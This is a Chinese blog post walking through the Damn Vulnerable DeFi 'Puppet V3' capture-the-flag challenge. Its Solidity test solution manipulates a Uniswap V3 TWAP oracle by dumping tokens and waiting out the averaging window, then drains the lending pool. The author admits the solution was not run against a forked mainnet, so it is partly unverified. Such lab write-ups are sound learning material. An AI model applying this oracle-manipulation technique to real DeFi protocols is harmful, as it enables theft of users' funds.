iT邦幫忙

2024 iThome 鐵人賽

DAY 17
0
Bear or bull market, true DeFi devs keep building. Remember that lending pool you helped? A new version is out.

They’re now using Uniswap V3 as an oracle. That’s right, no longer using spot prices! This time the pool queries the time-weighted average price of the asset, with all the recommended libraries.

The Uniswap market has 100 WETH and 100 DVT in liquidity. The lending pool has a million DVT tokens.

Starting with 1 ETH and some DVT, you must save all from the vulnerable lending pool. Don’t forget to send them to the designated recovery account.

NOTE: this challenge requires a valid RPC URL to fork mainnet state into your local environment.

Analyze WTF

這題又跑回去 V2 ,同樣是採用預言機,所以我們依然可以嘗試使用預言機操縱價格

可是在題目中有提到,這次的預言機採用了 Uniswap V3 的時間加權平均價格,所以我們需要時間,等平均價格到我們可以把底池打包帶走的時候再發起借貸

Solve WTF

    function test_puppetV3() public checkSolvedByPlayer {
        // 定義 Uniswap V3 的 SwapRouter 地址
        ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);

        // 批准 SwapRouter 操作所有的 DVT 代幣
        token.approve(address(swapRouter), type(uint256).max);

        // 批准借貸池操作所有的 WETH
        weth.approve(address(lendingPool), type(uint256).max);

        // 使用 Uniswap V3 將 DVT 兌換成 WETH
        swapRouter.exactInputSingle(
            ISwapRouter.ExactInputSingleParams({
                tokenIn: address(token),          // 輸入代幣為 DVT
                tokenOut: address(weth),          // 輸出代幣為 WETH
                fee: FEE,                         // 交易手續費
                recipient: player,                // 收件地址為玩家地址
                deadline: block.timestamp,        // 交易截止時間
                amountIn: PLAYER_INITIAL_TOKEN_BALANCE, // 兌換的 DVT 數量
                amountOutMinimum: 0,              // 最小可接受的 WETH 數量
                sqrtPriceLimitX96: 0              // 最小價格限制(可忽略)
            })
        );

        // 迴圈,用來跳過區塊時間,直到能夠借出所需的 WETH
        for (uint256 i = 0; i < 70; i++) {
            skip(1); // 跳過一個區塊

            // 如果玩家擁有的 WETH 超過借貸池要求的存款數量,則借出代幣
            if (weth.balanceOf(player) > lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE)) {
                lendingPool.borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE); // 借出貸款池中的 DVT
                console.log("i:", i); // 輸出當前迭代次數
                break; // 結束迴圈
            }
        }

        // 將借出的 DVT 代幣轉移至恢復地址
        token.transfer(recovery, LENDING_POOL_INITIAL_TOKEN_BALANCE);
    }

這一題會需要設定好 RPC URL,但我懶得弄(癱

每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20241001/20163009OOQaoZOOMI.jpg


上一篇
Day 16 - Wallet Mining_哭啊礦工
下一篇
Day 18 - ABI Smuggling_好欸偷渡客
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言